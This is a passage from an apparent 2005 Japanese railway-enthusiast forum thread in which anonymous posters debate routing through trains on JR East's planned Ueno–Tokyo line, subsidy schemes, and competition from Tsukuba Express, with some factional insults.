873 :名無し野電車区:2005/05/22(日) 12:46:02 ID:1YkleuSJ
>872
それを言うなら
縦貫線使おうと思ってる南浦和〜川口利用者も既に京浜東北使ってると言えないかい?

874 :名無し野電車区:2005/05/22(日) 12:50:39 ID:6WRe+O7V
>>871
セオリーでいけば、そうだろうな。

875 :名無し野電車区:2005/05/22(日) 13:03:36 ID:mO/EXGiw
ひたちが東京に来れば特急料金を余分に取れるし、筑波にバスで直行している客を取れるのに対し、
普通を乗り入れしても貧乏通勤客が便利になるだけで束には何のメリットもないからやるはずがないということでOK?

876 :名無し野電車区:2005/05/22(日) 13:04:32 ID:1YkleuSJ
>871
こういう人は改善策とか改案いう言葉を知らないのだろうね。


877 :名無し野電車区:2005/05/22(日) 13:07:06 ID:2p0sE7l+
東京への通勤者が路線を選択する基準は、大部分が朝ラッシュの運行形態
だろう。いくら空いている日中に常磐線が東京乗り入れしたって大勢に影響
はない。
で、朝のラッシュ時に常磐線が、東北・高崎線を押さえてバンバン東京以南に
乗り入れると思っているのかね。
ただ、特急の東京乗り入れはいいな。
新幹線で東京に着いたときにフレッシュひたちが停まっていると東京→柏なんか
つい乗ってしまいそうだ。

878 :名無し野電車区:2005/05/22(日) 13:10:18 ID:1YkleuSJ
>875
貧乏通勤客が便利になるだけなのは東北・高崎線も同じ。

879 :名無し野電車区:2005/05/22(日) 13:16:44 ID:7DVpBKZ+
>そもそもG車なしのE531を140両新造する計画自体が、行く末を
>物語っているのではないか?

10両×22編成+5両×14編成くらいだったと思うけど・・・。

ちなみに22編成ではとても東海道線と直通できない。
仮に直通させる場合は、もう30編成くらい増備しないといけない。
その際に既存編成にサロを入れて、新造編成に既存編成からの捻出サハを入れるんだろうな。

880 :名無し野電車区:2005/05/22(日) 13:21:55 ID:6WRe+O7V
コピペでスマンが、これが重要。

220 :名無し野電車区 :2005/04/23(土) 02:06:33 ID:gnP/nnE9
常磐線乗入基本に変更するかは、投資に見合った収益が確保できるかどうかだろう。
常磐線基本に変更すると、直流車の交直流車への置き換え変更や、
上野10番線の東京方面進出可能化工事などで、多分100億近くかかる。
TXによる減収が年120億と見込まれるそうだが、
仮に減収を年110億に抑えられるのなら、100億近く余計に金がかかっても、
10年で元が取れる。
だが、減収を年に119億にしか抑えられないなら、元を取るのに100年かかるから、
100億近く投資する意味がない。
どの程度の投資効果があるか、それをJRがどうみるかだろう。

881 :名無し野電車区:2005/05/22(日) 13:26:03 ID:WYfbV32Y
>>866
>>東北高崎の乗りいれは、コストが膨らむわけではないから、問題はない。

>そもそも縦貫線建設費300億円はどなたが出すんでしょうか?
>そして何もしなければさらに毎年120億円の減収・・・・

この「300億円」で難しい問題がある。
国土交通省の都市鉄道利便性増進制度で、常磐線からの東京直通の場合は、
国、自治体、鉄道事業者が3分の1の負担になりそう。
だが東北線高崎線の場合は、この制度の適用がなさそう。
東北線高崎線の東京直通は、この制度創設よりずっと前の構想であるのと、
茨城県には与党議員が多いのに埼玉県には野党議員が多いという政治力学がある。
JRもその辺で東北線高崎線と常磐線を天秤にかけているところだろう。

882 :名無し野電車区:2005/05/22(日) 13:30:39 ID:VyxF0vRY
>>881
名目上は常磐線の直通ということにしておいて
実質は高崎・宇都宮線直通がメインということになりそうだな。

883 :名無し野電車区:2005/05/22(日) 13:32:23 ID:WYfbV32Y
>>882
そんなことしたら政治問題になりかねないよ。
制度適用を受けたら常磐線乗入れ基本にせざるを得ないと思う。

884 :名無し野電車区:2005/05/22(日) 13:33:51 ID:1YkleuSJ
>881
つまり常磐線主体に直通させれば、縦貫線建設費300億+上野改良費100億の
400億のうちJR負担は3分の1の133億円に軽減されると言うことでOK?

885 :名無し野電車区:2005/05/22(日) 13:36:11 ID:xAfKJk1D
>東京への通勤者が路線を選択する基準は、大部分が朝ラッシュの運行形態
>だろう。いくら空いている日中に常磐線が東京乗り入れしたって大勢に影響はない。
>で、朝のラッシュ時に常磐線が、東北・高崎線を押さえてバンバン東京以南に
>乗り入れると思っているのかね。

上野→東京の山手線・京浜東北線の混雑緩和が主目的みたいだから、
東北高崎線でも常磐線でもどっちでもいいと思う。

886 :名無し野電車区:2005/05/22(日) 13:36:54 ID:qoJbgouu
JRが全額自腹にしたのは、ひも付きにすると金主の干渉が煩わしいからでしょ。

887 :名無し野電車区:2005/05/22(日) 13:36:59 ID:VyxF0vRY
>>883
ならないよ。

888 :名無し野電車区:2005/05/22(日) 13:37:36 ID:6WRe+O7V
>>881
都市鉄道利便性増進制度は、受けれないと思う。
既存鉄道の割り増し工事(3線化)だから。


889 :名無し野電車区:2005/05/22(日) 13:42:02 ID:ppErDP4g
>>881
茨城県は国会議員もほとんど自民党で、知事も自民党系なのに対し、
埼玉県は県南の国会議員がことごとく民主党で、知事まで民主党系。
政治力学的には明らかに埼玉県に分が悪い。

>>884
上野駅改良費用が常磐線の縦貫線直通に必要不可欠と認められれば
3分の2は公費負担でしょう。
交直流車置換え費用は微妙だけど・・・。

890 :名無し野電車区:2005/05/22(日) 13:45:37 ID:2JbWJdAR
>>888
国土交通省鉄道局長(だったかな?)の国会答弁で、
常磐線直通の場合は適用されるとのこと。
東北線高崎線直通の場合には触れなかったけど。

891 :名無し野電車区:2005/05/22(日) 13:55:04 ID:2p0sE7l+
>埼玉県は県南の国会議員がことごとく民主党で、知事まで民主党系
群馬・栃木をお忘れなく!
宇都宮線という愛称は栃木からの要望だったし。


892 :名無し野電車区:2005/05/22(日) 14:06:06 ID:snMacNBy
>>870
何度言えば判るんだか…
縦貫線建設費は品川の車両基地用地の流動化により
ペイできることから事業計画化された。
TXの開業による減収とは全く別次元の問題だ。
縦貫線に常磐線を乗り入れさせることによる新規投資は
まさに>>880の考え方によりするかしないかが判断される。

893 :名無し野電車区:2005/05/22(日) 14:06:25 ID:1YkleuSJ
TXが開業後こういう状態になったら、束は緊急事態になるな。

ttp://dolby.dyndns.org/i-bbs/src/1116736592907.jpg

894 :名無し野電車区:2005/05/22(日) 14:09:01 ID:6hF5+ZK5
>>893
八潮ならあまり影響ないと思う。


895 :名無し野電車区:2005/05/22(日) 14:09:21 ID:2p0sE7l+
国府津の113系がE231に置き換わってしまったら、交直流車を
投入しようと思っても置換え対象がないのでは?
金があったとしてもまだ使える211系を早めに廃車にしないだろう。
あれだけの両数の転属先もないし。

896 :名無し野電車区:2005/05/22(日) 14:16:41 ID:heqxQ615
こりゃまた一晩でずいぶんとレスが付いたな




たいして目新しい内容は無し、と・・・

897 :名無し野電車区:2005/05/22(日) 14:23:22 ID:aL7W3p8m
>>埼玉県は県南の国会議員がことごとく民主党で、知事まで民主党系
>群馬・栃木をお忘れなく!
>宇都宮線という愛称は栃木からの要望だったし。

群馬、栃木からは新幹線をどうぞ。

898 :名無し野電車区:2005/05/22(日) 14:23:27 ID:6WRe+O7V
>>890
常磐のみ適用されるのであれば、間違いなく常磐直通にしてるでしょう(1/3負担で済むだから)
東北高崎は認めないというのも‥‥。

都市鉄道利便性増進制度の対象は、新線と書いてある。
割り増し工事(3線化)には認めれないと俺は、思ってるけどね。

割り増しでも同制度を使えれば、中央線の三鷹立川の複々線や
京王線の笹塚調布の複々線などやってるだろう(1/3負担で済むんだから)

899 :名無し野電車区:2005/05/22(日) 14:30:42 ID:2p0sE7l+
>>897
同じ茨城県の古河もあるが。

900 :名無し野電車区:2005/05/22(日) 14:31:58 ID:Iv1KWuSR
>縦貫線建設費は品川の車両基地用地の流動化により
>ペイできることから事業計画化された。
>TXの開業による減収とは全く別次元の問題だ。

田町再開発で得られた資金で縦貫線を建設して、
常磐線を乗り入れさせてTXから客を奪えば、
拡大再生産になるので理にかなうと思うが。

>>898
縦貫線が「新線」かどうかは難しい。
ただ、中央線の三鷹〜立川は現状でも緩行線列車が入るけど、
上野〜東京は東北線・高崎線・常磐線は現状では0なので、
「新線」と解する余地はあろうかと。

901 :名無し野電車区:2005/05/22(日) 14:34:40 ID:qoJbgouu
>>898
三鷹立川や笹塚調布は1/3負担ですらイヤがるようなきもするが、まあ
スレチガイだからいいや。

902 :名無し野電車区:2005/05/22(日) 14:35:32 ID:QTeC5vgN
>>895

松戸のE231をE531に置き換えて、E231はどこかの通勤線に転属でしょう。
国府津のE231はそのままで、松戸以南折り返しでしょう。

>>899
生活圏的には茨城県ではないと思う。

903 :名無し野電車区:2005/05/22(日) 14:37:07 ID:QTeC5vgN
>>898
>>901
仮に立川まで伸ばした緩行線を青梅線につなげば「新線」の余地ありかも。

904 :名無し野電車区:2005/05/22(日) 15:08:16 ID:6WRe+O7V
割り増しがOKなら、ばんばん使える。
※東北縦貫は、新線扱いされないと思われる。
京王も京王新線と相模原線をつなげるという名目で出来る。

小田急も今やってる工事は認められないとしても、
遊園〜新百合相模大野の複々線は使える(小田原線と多摩線・江ノ島線をつなげる名目)

都市鉄道利便性増進制度は、国・自治体・鉄道会社のそれぞれ1/3ずつの負担だから、
自治体から却下される可能性があるが。

905 :名無し野電車区:2005/05/22(日) 15:26:40 ID:L1IxfXqk
>>897
時間3本止まる宇都宮・高崎ならともかく、
時間1本しか止まらない地域は列車逃したら一時間は東京へ行くなですかそうですか。

そうでなくても長距離重視のために宇都宮・高崎は時間2本にしろとか、
なすの・たにがわ・在来線で十分とか言われているんだが。

906 :名無し野電車区:2005/05/22(日) 16:04:30 ID:mO/EXGiw
特急1本と普通4本としても1時間に5本って結構多いね。高崎線、宇都宮線あわせて仮に15本だと4分間隔。

907 :名無し野電車区:2005/05/22(日) 16:12:51 ID:2p0sE7l+
朝ラッシュ時は東北・高崎線のみ直通
昼は各線とも普通が2本/hの割合で東海道直通。
ただし東海道〜常磐直通は国府津のE231が取手まで
という感じになるんでは。
当然、ひたちは東京乗り入れだが。

908 :名無し野電車区:2005/05/22(日) 17:15:50 ID:SktyHDmx
そしたら常磐に普通列車Gがはいるやん

909 :名無し野電車区:2005/05/22(日) 17:32:56 ID:CS4ELfHX
どうして907のような妄想がおこるのか?
ってか、1週間程度で同じ内容の繰り返しするなよ。

910 :名無し野電車区:2005/05/22(日) 17:43:21 ID:2p0sE7l+
>>909
所詮この段階では誰のカキコも妄想にすぎない。
君はどうなると考えているんだい。是非参考にしたいですな。

911 :衆院国土交通委2005.4.6会議録(抄):2005/05/22(日) 18:44:03 ID:5ONDpWpt
葉梨康弘衆院議員

 取手市に住んでいる面から考えますと、私たち取手市民にとって、速達性の向上と
いうことでイメージするのは、実は茨城県内の事業ではございません。東京とか
千葉に通勤する我々にとってみますと、例えば上野の駅で日比谷線とか銀座線への
乗りかえがなかなかうまくいかないな、それから、常磐線の東京駅への乗り入れ、
さらには、今もお話ありましたつくばエクスプレスの東京駅乗り入れ、こういった
ことをやってほしいなというような要望が出てまいります。ところが、実際の
ところを申し上げますと、東京の住民にとってみたら、はた迷惑な話である、
あるいは東京都にとってみたら、そんなことやらなくてもいいんじゃないか
という声も片方であるわけです。

 そこで、この法律ができた中で、そういうことがなかなかやりやすくなるような
スキームができるのかなということを期待しておるわけですけれども、そもそも、
常磐線の東京駅乗り入れあるいはつくばエクスプレスの東京駅乗り入れ、これは
東京駅に乗り入れて終点、ターミネーターになるわけですけれども、これは
本法律にいう速達性の向上事業に該当するのかどうかということを、梅田局長、
お願いいたします。

912 :衆院国土交通委2005.4.6会議録(抄):2005/05/22(日) 18:45:09 ID:5ONDpWpt
国土交通省鉄道局長:梅田 春実

 速達性向上事業の対象事業といいますのは、現時点におきましては、短絡線の
整備、相互直通施設の整備、追い越し施設の整備を想定しております。

 御指摘のつくばエクスプレスあるいはJR常磐線の東京駅延伸ということに
つきましては、法案の第二条第七号にございます「既存の都市鉄道施設の間を
連絡する新線の建設」に該当するというふうに考えまして、速達性向上事業の
対象事業となり得るというふうに考えます。

913 :衆院国土交通委2005.4.6会議録(抄):2005/05/22(日) 18:48:01 ID:5ONDpWpt
葉梨康弘衆院議員 

 今お話のありました常磐線の東京駅への乗り入れの早期実現、さらにはつくば
エクスプレスの東京駅延伸計画、この早期具体化というのは、都市鉄道の利便性の
増進に大いに寄与すると考えます。今後の取り組みについて、国土交通省の見解を
承りたいと思います。

国土交通省鉄道局長:梅田 春実

 御指摘の二つのプロジェクトにつきましては、都市鉄道の利便性増進に大いに
寄与するという点では、同じ認識でございます。
 まず、JR常磐線の東京駅乗り入れでございます。これは、京浜東北、山手線の
上野―御徒町間の混雑緩和に非常に役に立ちます。ここの区間は混雑率が二〇〇%を
超えるような区間でございます。現在、平成二十一年度の供用開始を目指しまして、
JR東日本が調査設計を進めているところでございます。その後の手続でございますが、
東京都条例に基づくアセスメント、あるいは鉄道事業法に基づく鉄道施設の変更の
手続等を経まして工事に着手するというようなことになろうかと思います。
 それから、先ほど申しましたつくばエクスプレスの東京駅延伸につきましては、
沿線の開発の状況、あるいは、これは八月の二十四日に開業する予定でございますけれども、
その後の輸送需要の動向、こういうのをよく見きわめながら、需要、収支採算性、
財源あるいは事業スキーム、こういうような課題につきまして、まずは地元関係者、
これは、つくばエクスプレスの主な株主は一都三県でございますけれども、
一都三県におきまして十分に議論を深めていくことが必要かと思います。

914 :名無し野電車区:2005/05/22(日) 18:54:02 ID:qoJbgouu
乙。
質問者が取手の人間だから、常磐線の東京乗り入れになってるだけで
「既存の都市鉄道施設の間を連絡する新線の建設」
という意味では、東北高崎線の東京乗り入れでもオーケーととれるな。

915 :名無し野電車区:2005/05/22(日) 19:06:57 ID:5ONDpWpt
>>914
俺も、このやり取りだけでは東北線・高崎線の乗り入れを基本とするのか、
常磐線の乗り入れを基本とするのかは分からないと思う。

916 :名無し野電車区:2005/05/22(日) 19:23:19 ID:ywdZrA8q
しかしこれを都合よく「常磐線主体の直通間違いなし!」と脳内変換するのが常磐厨

917 :名無し野電車区:2005/05/22(日) 19:23:54 ID:/MeKvMGI
ただ、利便性増進制度が適用されれば、
縦貫線建設費用のJR負担分が少なくなるので、
常磐線乗り入れが東北高崎線乗り入れよりもカネがかかるはいっても、
常磐線乗り入れのハードルが低くなるのは確かだ。

918 :名無し野電車区:2005/05/22(日) 20:01:43 ID:Jp4ljJQl
利便性増進制度が適用されれば、縦貫線建設費用のJR負担分が
330億円から110億円になる。
浮いた分の220億円で直流車の交直流車への置き換えや、
上野駅10番線ホーム東京出入り可能化工事を行うこともできる。

無論、東北線高崎線中心の乗り入れなら、220億円はそっくり手元に残るが、
220億円を遊ばせておくよりも投資に回して、
TXから客を奪ってTX開業による減益分を少しでも抑制する考え方もあろう。

919 :名無し野電車区:2005/05/22(日) 21:25:13 ID:heqxQ615
「おいおい国が220億円出してくれんだってさ」
「マジで?」
「だから浮いた金はぱーっと使っちまおうぜ、交直流車とか」

920 :名無し野電車区:2005/05/22(日) 21:30:27 ID:CS4ELfHX
>>910
君の妄想に付き合えないって言っているんだよ。
勿論、当方もくだらない妄想で答えるつもりは
ないがな。

921 :名無し野電車区:2005/05/22(日) 21:47:46 ID:i3yM5kPu
常磐厨必死だなw

922 :名無し野電車区:2005/05/22(日) 22:06:43 ID:Pt44pEy6
>>921

>>919のような書き込みをみてると、東北高崎厨の方が必死に思える。
しかしどうして厨は>>919のような幼稚な書き込みしかできないのかねえ・・・。

923 :名無し野電車区:2005/05/22(日) 22:14:14 ID:yDt2hQn/
>「おいおい国が220億円出してくれんだってさ」
>「マジで?」
>「だから浮いた金はぱーっと使っちまおうぜ、交直流車とか」

交直流車に使うかどうかはともかく、何かしらには使うだろ?
ただ個人的には、鉄道には関係ないホテルメッツとか、
採算性の見込みのない山形新幹線の延伸などには使ってもらいたくない。

924 :名無し野電車区:2005/05/22(日) 22:21:01 ID:HR6iQ/V2
「おいおい国が220億円出してくれんだってさ」
「マジで?」
「だから浮いた金はぱーっと使っちまおうぜ!
東北線高崎線をデジタルATCにして27本/hまで運転できるようにして、
E231も200両くらい買い足して東北線・高崎線・湘南新宿ラインは
完全15両編成にするとか」

(注)そもそも国が出すのは3分の1なので「110億円」である。国、自治体、鉄道事業者が3分の1ずつ。

925 :名無し野電車区:2005/05/22(日) 22:27:24 ID:qoJbgouu
そもそもJRがこの制度を利用したいとかしたくないとか言ってる?
外野の声しか聞こえてこない気がするが。

926 :名無し野電車区:2005/05/22(日) 22:32:26 ID:snMacNBy
縦貫線に関してはすでに束が自前の資金で建設することが
決定している。常磐線を大量に直通させるための追加工事は
制度の対象となるようだが、束は自社路線のネットワークの
中枢部に自社以外の勢力が介入することを良しとしないだろう。

927 :名無し野電車区:2005/05/22(日) 22:34:18 ID:snMacNBy
そして、その「常磐線を大量に直通させる」工事だが、
これも複数案の検討の結果、「物理的に」不可能であることが
判明している。
常磐線列車が縦貫線乗り入れの主軸となることは考えにくい情勢だ。

928 :名無し野電車区:2005/05/22(日) 22:39:32 ID:1YkleuSJ
>924
アホすぎ。
国が出してくれるのは、縦貫線建設費の一部、他の費用は出さない。
しかも常磐線主体に直通することが前提。
東北・高崎線主体の場合は、全額束が負担。

>925
国は出しても良いよと言っているわけだから、束が負担軽減したけりゃ
使うでしょ。

>927
「常磐線を大量に直通させる」工事だが、
これも複数案の検討の結果、「物理的に」不可能であることが
判明している。

判明してるのはきみの頭の中だけ。JRはやらないとは言ってない。

929 :名無し野電車区:2005/05/22(日) 22:48:18 ID:doRpwjji
>これも複数案の検討の結果、「物理的に」不可能であることが
>判明している。

一度、上野駅を見ることをおすすめする。

930 :名無し野電車区:2005/05/22(日) 22:51:48 ID:YwRf4wln
>>927

もし、上野駅のことを言っているのであれば、現状の配線でも可能なのだが・・・。

931 :名無し野電車区:2005/05/22(日) 22:53:42 ID:iEISVU7d
>しかも常磐線主体に直通することが前提。
>東北・高崎線主体の場合は、全額束が負担。

宇都宮・高崎の場合は出さないとは断言していないらしい。

932 :名無し野電車区:2005/05/22(日) 22:55:19 ID:lZFW2w5X
「常磐線を大量に直通させる」工事って何ですか?
上野駅の10番線を直通させること?

933 :名無し野電車区:2005/05/22(日) 22:57:54 ID:snMacNBy
「大量に」なんだから、立体交差化以外に方策があるわけないだろう。
読解力の無い奴らだ。

934 :名無し野電車区:2005/05/22(日) 23:02:32 ID:lZFW2w5X
立体交差というと?
高架線の東北線下り線から、東北線上り線をオーバクロスするように
常磐線下り線を分岐させる工事とか?

935 :名無し野電車区:2005/05/22(日) 23:06:40 ID:zM72y1nH
普通に考えれば東北・高崎主体で常磐は特急が乗入れる程度だろうが

最近の鉄道事業者はホントなに打ち出すかわからんからな。

「あら ぶったまげー」の常磐線主体なんてこともありうる。


まあ、すべてはTX開業後の乗客の動静が判明してからだろう。



936 :名無し野電車区:2005/05/22(日) 23:08:27 ID:heqxQ615
立体交差にしなくとも、10番線から直通できるようにするだけで
いちおうホーム3本は常磐-縦貫線が使うことができるようになる。
もちろんそれなりに大掛かりな工事は必要だし、11・12番線の使い道や
大宮方面の列車の扱いなど問題は残されているが。

それにしても、茨城県の常磐線乗り入れにかける情熱wに比べると
千葉県側は(沿線の自治体を除けば)静観してるって感じに思える。
千葉・成田方面に比べると松戸・柏方面の扱いは悪くないか?

937 :名無し野電車区:2005/05/22(日) 23:16:23 ID:lZFW2w5X
>>936
直通する分には、上野駅にホームを多数確保する必要がないはずなのだが。

938 :名無し野電車区:2005/05/22(日) 23:23:49 ID:1YkleuSJ
上野駅の平面交差がネックと思ってる人は、
一度、京急の京急蒲田駅の空港方面発着ホームを20分〜30分
見学することをお奨めする。

やる気になればあそこまでできる。


939 :名無し野電車区:2005/05/22(日) 23:26:55 ID:AHn/92U+
>>938
京急も横浜・横須賀方面がメインだから
東京環状線も高崎・宇都宮がメインになるだろうな。

940 :名無し野電車区:2005/05/22(日) 23:26:56 ID:snMacNBy
あの事故を目の当たりにしてまだ「やる気」なんて言葉が出るのか。
恐れ入りました。

941 :名無し野電車区:2005/05/22(日) 23:27:34 ID:AHn/92U+
>>939は縦貫線の間違い。

942 :名無し野電車区:2005/05/22(日) 23:34:03 ID:1YkleuSJ
>940
福知山線はむちゃダイヤ
京急は効率ダイヤの違いだな。

943 :名無し野電車区:2005/05/22(日) 23:38:56 ID:dulMW9FM
>>937
朝ラッシュ時の直通は一部列車のみですか
それとも日暮里まで列車を数珠繋ぎにしますか
もしくは高崎線を全列車地平ホームに押しやりますか

>>938-
JRに京急のようなスキルがあれば、縦貫線に宇都宮・高崎・常磐の
すべてを直通させ、日中も転クロの特別快速を10分間隔で走らせ、
ダイヤが乱れても柔軟に対応できるようになるが。

間違いなくそんなもの実現しないから大丈夫だ。

944 :名無し野電車区:2005/05/22(日) 23:39:21 ID:mO/EXGiw
常磐が直通するとして普通電車と取手どまりと両方来るわけ?
千代田線が大手町まで来ているのに?

945 :名無し野電車区:2005/05/22(日) 23:42:19 ID:8eO3DimW
836だが 
朝思いつきで書いたら偉くレスが増えててビックリした。
TXの秋葉乗り換えはおそらく相当不便になるから、
常磐線が新橋直通なら又奪い返せるなと思っただけ。
様々の意見を有り難う。
しかしTXも蓋を開けて見なければ。TXの動向によってはやるかもよ。


946 :名無し野電車区:2005/05/22(日) 23:44:55 ID:lZFW2w5X
>>943
東京駅は、2面4線しかないわけだが。
何かしら上野でややこしいことをしようとしているような感じが。

ところで、上野の東京方が3線あるが、それを活用して日暮里方の
平面交差の問題を緩和できないものだろうか?

947 :名無し野電車区:2005/05/23(月) 00:20:18 ID:GFBQD7ia
>>938
「やる気になればできる」なんて言ってる香具師はまず間違いなく根拠なし。

京急蒲田にG車込みの15両編成がバンバン来て大幅に乗客が入れ代わってるんなら少しは参考になるがな。

948 :名無し野電車区:2005/05/23(月) 00:38:40 ID:pruEBlTw
>>940
過密路線にATS-Pすら付けないで120km/hで走らせる企業と比べてもらっては困る。

>>947
京急は短編成で、しかもどの車両も加速度3.5km/h/s(一部を除く)なので
単純比較はできないが、京急並みの平面支障処理技術があれば
朝ラッシュ時以外の常磐線―東海道線直通は問題ない。

949 :名無し野電車区:2005/05/23(月) 00:39:58 ID:AWhh6R+1
>>948
つまり朝ラッシュ時は東北・高崎優先ということ?

950 :名無し野電車区:2005/05/23(月) 00:43:09 ID:nn43AGSX
>「大量に」なんだから、立体交差化以外に方策があるわけないだろう。
>読解力の無い奴らだ。

東北高崎線に加え、常磐線もそれなりの数を乗り入れさせるということなら
立体交差化が不可欠だが、常磐線乗り入れを基本とし、
東北高崎線は一部にとどめるなら、立体交差化の必要はない。

951 :名無し野電車区:2005/05/23(月) 00:46:38 ID:lgoIa8zk
>常磐が直通するとして普通電車と取手どまりと両方来るわけ?
>千代田線が大手町まで来ているのに?

さんざんガイシュツだが、その考え方でいくと、
既に京浜東北線で東京・新橋・品川に行けるから
東北線高崎線は上野止まりで良いということになる。

952 :名無し野電車区:2005/05/23(月) 00:59:15 ID:b3gQ0b/I
束にとって、最良の策は、常磐線・東北直通比率を6:4にして、国から補助を出して貰い、
常磐を東京、品川折り返しにして、東北は東海道直通にすれば、車両増備もあまり
しなくて良いし、TXからも乗客を奪い返せるからウマーになるのでは・・・

953 :名無し野電車区:2005/05/23(月) 01:03:11 ID:dP8QqkIF
どうせこれから作るんだし、常磐特急も東京折り返しってことなら
常磐厨の人は東京まで東北・高崎⇔東海道線と常磐線の複々線を作ることを要望した方がいいじゃん。
上野付近の配線どうこうだの考えなくていいし、ほぼ全列車東京行けるし、
完璧な案だねこれは。素晴らしい。

954 :名無し野電車区:2005/05/23(月) 01:12:54 ID:b3gQ0b/I
>953
>東京まで東北・高崎⇔東海道線と常磐線の複々線

神田〜東京間は新幹線の上に作るわけだし、
神田の反対派が猛反発するから、複々線は無理でしょ。

955 :名無し野電車区:2005/05/23(月) 01:22:44 ID:dP8QqkIF
>>954
んなの京浜東北線とか山手線の上に作ればいいじゃん。
そんなことより御徒町のあたり、中電の線路3本分しかないの?
それじゃやっぱり無理か。完璧だと思ったんだけどなぁ。

956 :名無し野電車区:2005/05/23(月) 01:30:37 ID:xkHXecUP
>>925
束は政治家にいろいろ口出されて、ダイヤに制約が出来るのを嫌って、
自前で負担するつもりなんだけど。

957 :名無し野電車区:2005/05/23(月) 01:50:32 ID:z2k9MBfB
そういうことだ。
政治が絡むと、将来情勢が変わったとしても対応できなくなる。

958 :名無し野電車区:2005/05/23(月) 02:00:55 ID:MMJeRDt+
>>955
東京まで別線作るなんて妄想するくらいなら
駒込方面に短絡線引いて新宿乗り入れ常磐新宿ラインとか主張しようや。
池袋以北の山貨なら平面交差でも十分捌けるわけだし。

959 :名無し野電車区:2005/05/23(月) 08:10:29 ID:kwp3BHEZ
東京までとは言わないが、神田あたりまで複々線で行けるといいのだが。
常磐線快速を延長運転して、御徒町、秋葉原、神田に停車させる。

960 :名無し野電車区:2005/05/23(月) 08:20:22 ID:i/cB+Cqb
常磐厨必死だなw
特に>>951、おまいの頭の中には
未だに赤電走っていそうだ。


961 :名無し野電車区:2005/05/23(月) 08:27:18 ID:kwp3BHEZ
>>959
輸送力としては、上野〜東京間が複線で結ばれれば十分なのだが。
東北、高崎、常磐の各方面にまんべんなく利便性を提供するとなると、
それでは足らなくなる。

962 :名無し野電車区:2005/05/23(月) 08:38:35 ID:kwp3BHEZ
>>958
常磐新宿ラインは、考えて欲しいものだ。
常磐線の通勤客にとっての東京駅延伸の期待の一つが、東京乗換えで
中央快速線で新宿方面に行けるようになることだとすると、東京延伸
の役割の一部を担うことになる。

963 :名無し野電車区:2005/05/23(月) 08:42:08 ID:kwp3BHEZ
常磐線の東京延伸は、ラッシュ時は、中電を延伸するのが関の山だが、
日中は全面的な直通も可能な勘定だと思うが。

ラッシュ時だけ上野止まりというのでは、収まらないかな。

964 :名無し野電車区:2005/05/23(月) 10:31:50 ID:5YbbG8xA
何で東北高崎厨ってこういう幼稚なレスしか出来ないのかね?
サイタマには精神薄弱が多いのか?

951 :名無し野電車区 :2005/05/23(月) 00:46:38 ID:lgoIa8zk
>常磐が直通するとして普通電車と取手どまりと両方来るわけ?
>千代田線が大手町まで来ているのに?
さんざんガイシュツだが、その考え方でいくと、
既に京浜東北線で東京・新橋・品川に行けるから
東北線高崎線は上野止まりで良いということになる。

960 :名無し野電車区 :2005/05/23(月) 08:20:22 ID:i/cB+Cqb
常磐厨必死だなw
特に>>951、おまいの頭の中には
未だに赤電走っていそうだ。

965 :名無し野電車区:2005/05/23(月) 10:43:27 ID:SCONjxYt
>>964
常磐厨必死だなw

966 :名無し野電車区:2005/05/23(月) 10:43:27 ID:z01U8fs6
多分、こういう幼稚者は一人だと思う。

921 :名無し野電車区 :2005/05/22(日) 21:47:46 ID:i3yM5kPu
常磐厨必死だなw

960 :名無し野電車区 :2005/05/23(月) 08:20:22 ID:i/cB+Cqb
常磐厨必死だなw
特に>>951、おまいの頭の中には
未だに赤電走っていそうだ。

967 :名無し野電車区:2005/05/23(月) 10:44:54 ID:z01U8fs6
多分、こういう幼稚者は一人だと思う。

921 :名無し野電車区 :2005/05/22(日) 21:47:46 ID:i3yM5kPu
常磐厨必死だなw

960 :名無し野電車区 :2005/05/23(月) 08:20:22 ID:i/cB+Cqb
常磐厨必死だなw
特に>>951、おまいの頭の中には
未だに赤電走っていそうだ。

965 名前:名無し野電車区 :2005/05/23(月) 10:43:27 ID:SCONjxYt
>>964
常磐厨必死だなw

968 :名無し野電車区:2005/05/23(月) 11:00:50 ID:SCONjxYt
967 名無し野電車区 New! 2005/05/23(月) 10:44:54 ID:z01U8fs6
多分、こういう幼稚者は一人だと思う。

921 :名無し野電車区 :2005/05/22(日) 21:47:46 ID:i3yM5kPu
常磐厨必死だなw

960 :名無し野電車区 :2005/05/23(月) 08:20:22 ID:i/cB+Cqb
常磐厨必死だなw
特に>>951、おまいの頭の中には
未だに赤電走っていそうだ。

965 名前:名無し野電車区 :2005/05/23(月) 10:43:27 ID:SCONjxYt
>>964
常磐厨必死だなw

969 :名無し野電車区:2005/05/23(月) 12:00:54 ID:9Hlxoad0
TXの混雑率は、どのくらいなるんだろうな?

利用者的に、混雑度というのも路線選択する上で重要な要素だと思うから。


970 :名無し野電車区:2005/05/23(月) 12:21:48 ID:b3gQ0b/I
>969
俺の知り合いは、南流山から御徒町まで通勤しているけど、今は乗り換え2回で
約50分かかってるらしいが、TXだと乗り換えなしで17分で行けるようになるようだ。
だからTXがもし今の千代田線ぐらい激混みになっても、TXを使うと決めているらしい。


971 :名無し野電車区:2005/05/23(月) 13:08:30 ID:4h/z9HKt
けっこう既出だけど、TXはピーク時の乗車率を150%以下になるようにするらしい。
ただ、当然未開業な訳で実際どうなるかは知らん。

972 :名無し野電車区:2005/05/23(月) 13:09:40 ID:4h/z9HKt
すまん。sage忘れた・・・

973 :名無し野電車区:2005/05/23(月) 13:17:16 ID:9Hlxoad0
>>970
そういう人はJRがどんなことしても、TX使うよね。

>>971
情報サンクス
TXによって常磐線がどの程度の混雑率になるかも書いてある?

974 :名無し野電車区:2005/05/23(月) 13:17:59 ID:hIW2gdrn
>>971
どうせ客乗らないだろうからな。

975 :名無し野電車区:2005/05/23(月) 18:39:51 ID:LoxzNMRH
TXは、一体化法による用途計画に従い、
全国から痴漢と女性を募集して乗車率をアップさせます!!!


976 :名無し野電車区:2005/05/23(月) 19:35:58 ID:dP8QqkIF
>>958
ふむふむ、常磐厨には東京乗り入れ志向より新宿直通の方が人気があるわけね。
大変参考になった。

977 :名無し野電車区:2005/05/23(月) 21:06:19 ID:BKPbdF9P
>>976

>>958は常磐厨を装った東北高崎厨の工作員

978 :名無し野電車区:2005/05/23(月) 21:20:24 ID:1/LEzyXG
>>977
             / ̄ ̄ ̄ ̄ ̄\
         /           \
         /              ヽ 
   / ̄\ l      \,, ,,/      | 
  ,┤    ト |    (●)     (●)   | 南無阿弥陀仏!
 |  \_/  ヽ     \___/     |  
 |   __( ̄ |    \/     ノ  
 ヽ___) ノ              


979 :名無し野電車区:2005/05/23(月) 21:41:23 ID:b3gQ0b/I
常磐線、朝の上りは日暮里〜上野間は空いてるけど、
